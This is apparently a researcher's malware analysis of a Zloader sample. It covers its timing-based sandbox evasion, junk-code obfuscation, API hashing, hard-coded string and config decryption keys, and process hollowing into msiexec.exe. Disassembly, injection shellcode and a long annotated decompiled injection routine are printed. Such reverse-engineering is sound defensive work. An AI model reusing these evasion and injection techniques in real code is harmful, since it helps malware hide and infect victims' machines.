Baylen Orr

File Analysis - 2023:03:23

Network indicators on this page are defanged (e.g. example[.]com) so they can't be clicked by accident.

Samples can be downloaded here

Files

  1. "zloader.bin.7z" (a8ed62c2573fb803b9746bc3c67198fe4cf6c3be9feff591ca10fc7a19bf4b90)
  2. "msiexec_4c0000_4c1000_SHELLCODE.bin.7z" (bf7ba998b7523169bc3c1865370f6345ac5a037f95583ecb7c922a7772278b67)

SUMMARY

Zloader exhibits effective obfuscation that makes manual analysis cumbersom. Zloader also has a simple, albeit noisy if not effective, anti-dynamic analysis routine that likely defeats a lot of sandbox environments due to the nature of benign actions that are not easily identifiable let alone patched at runtime. The sample we analyzed contains two decryption keys; one for necessary runtime strings and another for configuration settings. We explore both of these and employ a decryption solution for both. The effort of this research was not about the functionality of Zloader and we did not explore what Zloader does post-infection, as we were primarily considered with how Zloader lands on a machine. In this report we should that Zloader effectively spawns and infects a MSIEXEC.EXE process without leaving apparent artifacts. Zloader never fully "unpacks" during runtime, but remains encrypted and only decrypts and execute functionality as needed. Because of this, the binary living in the infected MSIEXEC.EXE process is effectively the same as the initial payload.

ANALYSIS

Expanded Execution Time:

Rather than using traditional approaches such as timing hooks and wait calls, Zloader makes use of expensive functions and repeatedly calls these in loops to drag on execution time before anything meaningful happens. In the case of this particular sample, multiple routines such as the one found at 0x00626db0 routinely call `GetTempPathA()` and write meaningless data to the directory for thousands of times. In our environment, it look about 10 minutes to to make it past this execution loop.

Code Obfuscation:

Zloader contains an extreme amount of junk code that contributes nothing or very little to overall program control flow. For example, the RC4 decryption routine below contains multiple lines that do nothing. This is likely done to defeat YARA rule matches. In the case of XOR decryption routine below, the only lines within the do-while loop are lines four, fourteen, and fifteen. The rest of the code simply exists to confer analysis.

  entry                                       
     1   if (param_2 != 0) {
     2     iVar8 = 0;
     3     do {
     4      uVar6 = bVar5 + 1 + iVar8 & 0xff; // mod 256
     5       bVar1 = *(param_3 + uVar6);
     6       bVar7 = uVar3 + bVar1;
     7       *(param_3 + uVar6) = *(param_3 + bVar7);
     8       *(param_3 + bVar7) = bVar1;
     9       bVar2 = *(param_3 + uVar6);
     10      uVar3 = FUN_00621940();
     11     bVar1 = *(param_3 + (uVar3 & bVar2 + bVar1));
     12     uVar3 = CONCAT11(*(param_1 + iVar8),bVar7);
     13     iVar4 = FUN_0062ddc0(~bVar1 & 0x93,bVar1 & 0x6c);
     14     *(param_1 + iVar8) = iVar4 ^ uVar3 >> 8 ^ 0x93; // out[i] = byte ptr[AL] ^ 0x93
     15     iVar8 = iVar8 + 1;        // i = i + 1
     16     FUN_00630cc0();
     17   } while (param_2 != iVar8);
     18   bVar5 = bVar5 + iVar8;
     19 }

Excessive NOP Instructions:

Most functions have 5-20 NOP instructions following the Function Prologue. During our analysis this initially confused Ghidra because Sleigh (Ghidra's disassembler) would stop disassembling after 10 NOP instructions. To resolve this, simply select the entire text section and do right Click + Disassemble. or hit "D" on the keyboard.

API Hashing

Zloader includes an API hashing routine and resolves all APIs this way aside from `GetTempPathA`, `GetLastError`, `GetCurrentProcessId`, and `GetCurrentProcess`. These APIs are otherwise seen in the aforementioned anti-analysis routine responsible for creating a prolonged runtime. All other APIs are resolved using the API hashing functions located at 0x00645570. There is also a function located at 0x006456c0 that will resolve the `GetProcAddress` and `LoadLibraryA` APIs. This happens at 0x006456c0. We have renamed the functions and variables according to our analysis. Note that each of these contains lots of junk code that was probably auto-generated with the use of macros at compile time.


    006456c5 | PUSH    0xb9f5b9c                        ; kernel32.dll
    006456ca | CALL    dll_hash_via_peb                 ; return kernel32.dll address
    006456cf | ADD     ESP, 0x4
    006456d2 | TEST    EAX, EAX
    006456d4 | JZ      LAB_00645765
    006456da | MOV     ESI, EAX
    006456dc | CALL    generate_hash_for_GetProcAddress
    006456e1 | PUSH    EAX
    006456e2 | PUSH    ESI
    006456e3 | CALL    get_api_handle                   ; GetProcAddress
    006456e8 | ADD     ESP, 0x8
    006456eb | MOV     [hGetProcAddress], EAX
    006456f0 | CALL    generate_hash_for_LoadLibraryA
    006456f5 | PUSH    EAX
    006456f6 | PUSH    ESI
    006456f7 | CALL    get_api_handle                   ; LoadLibraryA
    006456fc | ADD     ESP, 0x8
    006456ff | MOV     EDI, dword ptr [hGetProcAddress] ; Buffer for GetProcAddress
    00645705 | MOV     [hLoadLibraryA], EAX             ; Buffer for LoadLibraryA
    0064570a | PUSH    0x0
    0064570c | PUSH    EAX
    0064570d | CALL    check_LoadLibraryA_Success       ; Checks if LoadLibraryA call was successful

String Encryption

Zloader contains no usable strings to aid an analyst in understanding the behavior. There are two functions that will decrypt the configuration data and any runtime strings and the necessity emerges. The first is located at 0x00644ff0 and the second at 0x00644f20. These functions both have the same hard-coded decryption key and differ in handling character sets (wide character vs single).

   DECRYPT_LOOP
     00645030 | MOV      EAX, EDI                                        ; counter
     00645032 | MOV      ECX, dword ptr [PTR_s_006490]                   ; Key: "hZ'12WV2#0KM1heEe"
     00645038 | CDQ
     00645039 | IDIV     dword ptr [EBP + local_14]
     0064503c | MOV      EAX, dword ptr [EBP + ptr_to_decryt_buff]       ; decrypted_buff_base_addr
     0064503f | MOVZX    EBX, byte ptr [ECX + EDX*0x1]=>s_hZ'12WV2#0KM1  ; key index
     00645043 | XOR      BL, byte ptr [ESI + EDI*0x1]                    ; decrypt
     00645046 | MOV      byte ptr [EAX + EDI*0x1], BL                    ; decrypted_buff_base_addr + index
     00645049 | MOVZX    EAX, BL                                         ; probably junk code block. Push the last decrypted
              |                                                          ; byte to a function that does all sorts of nonsense
     0064504c | PUSH     0x0
     0064504e | PUSH     EAX
     0064504f | CALL     FUN_0063cec0                                    ; nonsense function
     00645054 | ADD      ESP, 0x8
     00645057 | INC      EDI                                             ; i++
     00645058 | TEST     AL, 0x1                                         ; Decrypted?
     0064505a | JNZ      LAB_00645086

Decryption is as simple as doing a binary XOR operation on the data, while accounting for the width of the character set. For example the data at 0x00648800 decrypts to "rundll32.exe %s,DllRegisterServer" when the wide-char string decryption function is called at 0x0062ff71. These string decryption functions takes two arguments from the stack; the encrypted string and a destination buffer in a Register.


    0062ff6b     PUSH   EAX                     ; Out_Buff
    0062ff6c     PUSH   DAT_00648800            ; rundll32.exe %s,DllRegisterServer
    0062ff71     CALL   string_decryptor_2      ; ushort * string_decryptor_2(ushort *param_1, ushort *param_2)

Configuration Encryption

The Zloader configuration is encrypted differently than the program strings. This makes sense in a marketing sense from an Access Broker's perspective. This way each customer gets their own (in this case) RC4 key and config payload. At address 0x0063CD47 a call is made to a function located at 0x0063d530. The former takes two arguments: an encryption key string and a pointer to an encrypted malware configuration buffer. The latter (0x0063d530) contains an RC4 Init routine, and then decrypts the configuration using the provided key.


    0063cd3d | PUSH   s_ckfivrotokplnlkhhlpy_006492f3   ; Key: "ckfivrotokplnlkhhlpy"
    0063cd42 | PUSH   DAT_00649004                      ; config data
    0063cd47 | CALL   config_decrypt                    ; decrypt data

Program Execution

Zloader's user-defined main is called through the `DllRegisterServer`. The full command line to execute the sample is `C:\Windows\SysWOW64\rundll32.exe C:\Users\\AppData\Local\Temp\zloader.dll,DllRegisterServer`. In this particular sample you can either call it from the command line and attach a debugger to `rundll32.exe` or debug `rundll32.exe` directly and change the command line arguments accordingly in the debugger. After attaching a debugger the dialogue in the memory and stack dump windows showcasing the evasion routine noted in the paragraph above, "Expanded Execution Time". As noted, this runs for about 10 minutes. Pause execution and set a break point at 0x0062597c and go get a coffee. The sample should be ready for analysis when you get back.

If neither of the above methods work, we found that you can also patch the Zloader Entry point to jump to the correct function. This works because there are 8 NOP instructions after address 0x00632425, giving us plenty of room to write new instructions without changing memory alignment.


    Original:
     00632420 b8 01 00 00 00       MOV        EAX, 0x1
     00632425 c2 0c 00             RET        0xc
    Pathched:
     00632420 b8 01 00 00 00       MOV        EAX, 0x1
     00632425 e9 26 60 ff ff       JMP        DllRegisterServer

In the user-written "main" function, the majority of the initial code is junk code and timing evasion as discussed above. The interesting bits begin to happen at offset 0x0062597c. The function attempts to achieve the following operations:

1. 0x00625981: Resolve GetProcAddressand LoadLibraryA.
2. 0x0062598e: CALL GetProcessHeapthrough FUN_0062ca70(.
3. 0x006259d2: CALL GetModuleFileNameW(CURRENT_ZLOADER_PROCESS, lpFileName, 0x104
4. Set up the Image Headers
5. 0x00625a0d: Decrypt string "msiexec.exe"
6. 0x00625a27-0x00625A2F: Decrypt string "CreateProcessA"
7. 0x00625a4b: CALL CreateProcessA(0,"msiexec.exe",0,0,0,CREATE_SUSPEND,0,0,0x44,0
8. 0x00625a57: Parse the PE Header of ZLoader to get IMAGE_OPTIONAL_HEADER32->SizeOfImage (DWORD)
9. 0x00625a61-0x00625a7b:
    A. Resolve VirtualAllocEx.
    B. CALL VirtualAllocEx(HANDLE_TO_MSIEXEC,0,ZLOADER_SIZE,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE
    (Note: If successful, VirtualAllocEx will return the address space initialized to zero in msiexec's process. In a debugger you can set a breakpoint at 0x00625A80 and see that msiexec has been created in a suspended state and an empty memory region has been allocated).
10. 0x00625b7c: CALL WriteProcessMemory(HANDLE_TO_MSIEXEC,lpBaseAddr,HANDLE_TO_ZLOADER_IN_HEAP,0x2 E00,[out]nBytesWritten
11. 0x00625baf-0x00625cf3: Generate Shellcode
12. 0x00625d2b: CALL WriteProcessMemory(HANDLE_TO_MSI_EXEC,lpBaseAddr,P_SHELLCODE,0x4A
13. 0x00625d7a: CALL GetThreadContext(HANDLE_TO_MSIEXEC_THREAD,lpContext
14. 0x00625dab: CALL VirtualProtectEx(HANDLE_TO_MSIEXEC,P_SHELLCODE,0x4A,EXECUTE
15. 0x00625de2: CALL SetThreadContext(HANDLE_TO_MSIEXEC_THREAD,ptr_to_context_structre
16. 0x00625e0a: CALL VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x2E000,PAGE_EXECUTE_READWRITE
    A. Note that the binary is still encrypted at this point.
17. 0x00625e47: CALL ResumeThread(HANDLE_TO_MSIEXEC_THREAD

The complete Ghidra decompiler output is appended below along with comments from our Reverse Engineering efforts. Many tasks are handled in a typical way. For example, GetProcAddress and LoadLibraryA are resolved first through walking the PEB. Zloader makes use of the same string decryption routines discussed above to decrypt necessary strings such as "msiexec.exe". The API hashing routines discussed above are the same routines used in this function to decrypt APIs. The structure of the main function is to insert junk code, generate an API hash, resolve the API through the hash, and call the API.

We have renamed this function to "load_msi_exec_and_evade(void)" as that is the main purpose as seen from steps 5-7. Steps 7-9 will parse the Zloader header and allocate space within the suspended state of `msiexec.exe`. In step 10 Zloader then generates a DWORD to XOR a copy of the Zloader binary into the memory space. After this a simple shellcode routine is generated and written into another allocated memory space within `msiexec.exe`. This shellcode is responsible for decrypting Zloader within `msiexec.exe` and jumping to the function at 0x0063ca20, which is the main function of the malware's malicious activity. The entirety of the shellcode in 77 bytes, though 8 NOP instructions prepend the actionable code, and the last 6 bytes appear to be junk code that is never executed and probably exists to defeat YARA rules.


    004C0007    | 90               | nop
    004C0008    | BE 00004900      | mov esi,490000
    004C000D    | B9 00E00200      | mov ecx,2E000
    004C0012    | B8 74FCDF91      | mov eax,91DFFC74     ; Dynamically generated XOR key
    004C0017    | 83F9 00          | cmp ecx,0            ;   while(ctr != 0) {
    004C001A    | 74 09            | je 4C0025
    004C001C    | 3006             | xor byte ptr ds:[esi],al   ; decrypt(byte[ctr])
    004C001E    | 46               | inc esi
    004C001F    | C1C0 08          | rol eax,8
    004C0022    | 49               | dec ecx                    ; ctr-- }
    004C0023    | EB F2            | jmp 4C0017
    004C0025    | E9 F6C9FEFF      | jmp 4ACA20           ; Jump to "called_from_msi_exec()"
                                                          ; (base address + base_addr + ca20)

By setting a break point on NtResumeThread or ResumeThread, you should be able to attach a second debugging process to msiexec. There will be two handles within the infected Rundll32.exe process that point to msiexec.exe, one of which will be a thread. By setting a breakpoint on the address space of this thread you can assure controlled execution into the Zloader's main function within msiexec.exe

Appendix


    undefined4 load_msiexec_and_evade(void)

    {
      iVar3 = junk_code_and_GetTempPathA(in_stack_fffff94c,DAT_006497ac);
      uVar12 = iVar3 ^ 0x400;
      uVar13 = uVar12 - iVar3;
      uVar10 = uVar12 | uVar13;
      uVar12 = FUN_00623590(uVar10,uVar13);
      iVar3 = FUN_00627000(uVar10 + uVar12);
      sVar2 = iVar3;
      iVar3 = FUN_00625700();
      uVar10 = iVar3 * sVar2;
      sVar11 = (uVar10 | 0x200) + uVar10;
      FUN_00622310(sVar11,sVar2 + 0x10000);
      DVar4 = FUN_00621ad0(sVar2 + 0x10000);
      sVar11 = sVar2 + -0x400 + sVar11;
      FUN_00623860();
      uVar12 = sVar11 * DVar4;
      uVar13 = ((uVar12 * DVar4 + uVar12 ^ DVar4) * sVar11 | uVar12) ^ DVar4;
      sVar2 = (uVar12 - (sVar11 + DVar4)) + uVar13 * 2;
      uVar12 = FUN_00627f20((sVar2 + DVar4) * DVar4 ^ sVar2);
      uVar12 = uVar12 ^ uVar13;
      FUN_006248a0();
      FUN_00623440(uVar12,sVar2);
      FUN_00625f00(sVar2,uVar13,uVar12);
      FUN_006253c0();
      uVar14 = 0xffffffff;
      loadlibrary_getprocadd_rc = GetProcAddr+LoadLibraryA(in_stack_fffff958);
      if (loadlibrary_getprocadd_rc != '\0') {
        zl_GetProccessHeap();
        uVar12 = FUN_006380b0(PTR_IMAGE_DOS_HEADER_0064bad0,0);
        if ((uVar12 & 1) == 0) {
          pcVar5 = api_hashing(0,0xfda8b77);
          (*pcVar5)(PTR_IMAGE_DOS_HEADER_0064bad0,local_5a4,0x104);
          puVar1 = PTR_IMAGE_DOS_HEADER_0064bad0;
          if (PTR_IMAGE_DOS_HEADER_0064bad0 != 0x0) {
            iVar3 = FUN_0062a840();
                        /* Load returned heap from GetProcHeap */
            zloader_memset_to_zero(local_39c,iVar3);
            local_39c[0] = 0x44;
                        /* decrypt string "msiexec.exe" */
            pbVar6 = string_decryptor(&DAT_00648780,local_8b);
            FUN_00644910(&stack0xfffff958,pbVar6,-1);
            uVar12 = gen_hash_for_CreateProcessA();
            pcVar5 = api_hashing(0,uVar12);
                        /* CALL kernel32.CreateProcessA(0,"msiexec.exe",0,0,0,CREATE_SUSPEND,0,0,0x44,0)
                            */
            iVar3 = (*pcVar5)(0,&stack0xfffff958,0,0,0,4,0,0,local_39c,&local_38);
            if (iVar3 == 1) {
                        /* Parse Zloader Opt header to get size for VirtualAllocEx */
              iVar3 = z_get_sizeofimage(puVar1);
              uVar12 = gen_hash_for_VirtualAllocEx();
                        /* Hash for VirtualAllocEx */
              pcVar5 = api_hashing(0,uVar12);
                        /* CALL VirtualAllocEx(HANDLE_TO_MSIEXEC,0,0x2E00,0x3000,0x4); */
              iVar7 = (*pcVar5)(local_38,0,iVar3,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
              if (iVar7 != 0) {
                DAT_0064bf78 = iVar7;
                local_18 = iVar3;
                get_qualified_path(&local_358,local_5a4);
                FUN_0063b950(&local_358);
                FUN_00647ab0(&local_358);
                local_14 = FUN_0063d6c0(puVar1,iVar3);
                local_3c = puVar1;
                FUN_006237b0(local_14,puVar1);
                local_24 = iVar7;
                FUN_0062c0d0(local_14,iVar7);
                uVar12 = FUN_00642170();
                local_28 = uVar12;
                if (local_18 != 0) {
                  local_1c = local_18;
                  pbVar6 = local_14;
                  do {
                    *pbVar6 = *pbVar6 ^ uVar12;
                    uVar13 = FUN_00624070();
                    pbVar6 = pbVar6 + 1;
                    uVar12 = (uVar12 >> 0x18 & 0xffffff90 | ~(uVar12 >> 0x18) & 0x3bdca76f) ^
                             (uVar12 << 8 & 0xc4235800 | ~(uVar12 << 8) & 0x3bdca76f) | ~uVar13;
                    local_1c = local_1c + -1;
                  } while (local_1c != 0);
                }
                local_20 = 0;
                pcVar5 = api_hashing(0,0xa48b0f9);
                iVar7 = local_18;
                iVar3 = local_24;
                        /* WriteProcessMemory(HANDLE_TO_MSIEXEC,lpBaseAddr,HANDLE_TO_ZLOADER_IN_HEAP,0x2 E00,[out]nBytesWritten).
                           At this point we have an encrypted version written in the address space of
                           msiexec.exe */
                iVar8 = (*pcVar5)(local_38,local_24,local_14,local_18,&local_20);
                if (iVar8 == 1) {
                  uVar12 = gen_hash_for_VirtualAllocEx();
                  pcVar5 = api_hashing(0,uVar12);
                        /* VirtualAllocEx(HANDLE_TO_MSIEXEC,NULL,0x4A,MEM_COMMIT|MEM_RESERVE,PAGE_READWR ITE)
                            */
                  iVar8 = (*pcVar5)(local_38,0,0x4a,0x3000,4);
                        /* This block generates the shellcode. The variable local_68 is the NOP
                           instructions. Some of the other instructions are placed into local variables
                           as seen with the subsequent mov byte ptr [EBP + local_*], 0x* */
                  if (iVar8 != 0) {
                    local_1c = iVar8;
                    local_68 = FUN_0062f400();
                    local_60 = 0xbe;
                    local_5f = iVar3;
                    local_5b = FUN_00621790();
                    local_5a = iVar7;
                    local_56 = 0xb8;
                    local_55 = local_28;
                    FUN_00647570(local_74);
                    local_358._0_1_ = 0x83;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_00630970();
                    local_358._0_1_ = uVar12;
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = 0;
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = FUN_00631040();
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = FUN_0063b180();
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = 0x30;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_0063b040();
                    local_358._0_1_ = uVar12;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_0062f840();
                    local_358._0_1_ = uVar12;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_006264a0();
                    local_358._0_1_ = uVar12;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_00622c60();
                    local_358._0_1_ = uVar12;
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = 8;
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = 0x49;
                    FUN_006478c0(local_74,&local_358);
                    local_358._0_1_ = 0xeb;
                    FUN_006478c0(local_74,&local_358);
                    uVar12 = FUN_00629c20();
                    local_358 = uVar12 & 0xff | local_358._1_3_ << 8;
                    FUN_006478c0(local_74,&local_358);
                    iVar3 = FUN_00647460(local_74);
                    src = FUN_00647a80(local_74);
                    zloader_memcpy(local_51,src,iVar3);
                    uVar12 = FUN_0062ab00();
                    iVar3 = local_1c;
                    local_43 = uVar12;
                    local_42 = ((0x63c9f6 - local_3c) + local_24) - local_1c;
                    uVar12 = FUN_0062d0a0();
                    pcVar5 = api_hashing(0,uVar12);
                    uVar14 = local_38;
                    uVar12 = FUN_0062efe0();
                        /* WriteProcessMemory(HANDLE_TO_MSI_EXEC,lpBaseAddr,P_SHELLCODE,0x4A) */
                    iVar3 = (*pcVar5)(uVar14,iVar3,&local_68,uVar12,&local_20);
                    if (iVar3 == 1) {
                      zloader_memset_to_zero(&local_358,0x2cc);
                      local_358 = FUN_00636090();
                      pcVar5 = api_hashing(0,0x4bbc7e4);
                        /* GetThreadContext(HANDLE_TO_MSIEXEC_THREAD,lpContext) */
                      local_14 = (*pcVar5)(local_34,&local_358);
                      uVar12 = gen_hash_for_VirtualProtectEx();
                      pcVar5 = api_hashing(0,uVar12);
                      uVar14 = local_38;
                      uVar12 = FUN_0062efe0();
                      uVar9 = FUN_006364b0();
                      iVar3 = local_1c;
                        /* VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x4A,EXECUTE). This changes the
                           0x4a size shellcode */
                      iVar7 = (*pcVar5)(uVar14,local_1c,uVar12,uVar9,&local_20);
                      if (iVar7 == 1) {
                        local_2a0 = iVar3;
                        bVar15 = true;
                        if (local_14 == 0x1) {
                          pcVar5 = api_hashing(0,0x4ba87e4);
                        /* SetThreadContext(HANDLE_TO_MSIEXEC_THREAD,ptr_to_context_structre) */
                          iVar3 = (*pcVar5)(local_34,&local_358);
                          bVar15 = iVar3 != 1;
                        }
                        pcVar5 = api_hashing(0,0xd1a4de8);
                        /* VirtualProtectEx(HANDLE_TO_MSIEXEC,lpBaseAddr,0x2E000,PAGE_EXECUTE_READWRITE) .
                           Note that the binary is still encrypted at this point within msiexec from the
                           earlier scambling. */
                        iVar3 = (*pcVar5)(local_38,local_24,local_18,0x40,&local_20);
                        if (iVar3 == 1) {
                          if (bVar15) {
                            uVar12 = FUN_00634dd0();
                            pcVar5 = api_hashing(0,uVar12);
                            local_34 = 0;
                          }
                          else {
                            pcVar5 = api_hashing(0,0xb232744);
                          }
                        /* ResumeThread(HANDLE_TO_MSIEXEC_THREAD). Note that everything is set up by
                           now. Break here and attach a debugger to the msiexec process. Set a
                           breakpoint on the shellcode if the debugger doesn't do it automatically.
                           Remove all breakpoints from zloader and let the program exit. In the new
                           debugging window you should be able to watch the decryption happen. The
                           shellcode will call the routine at 0x0063ca20 */
                          (*pcVar5)(local_34);
                        }
                      }
                    }
                    FUN_00647360(local_74);
                  }
                }
              }
            }
          }
        }
                        /* Get Hash for ExitProcess */
        uVar12 = FUN_00636960();
        pcVar5 = api_hashing(0,uVar12);
                        /* Call ExitProcess */
        (*pcVar5)(0);
        uVar14 = 0;
      }
      return uVar14;
    }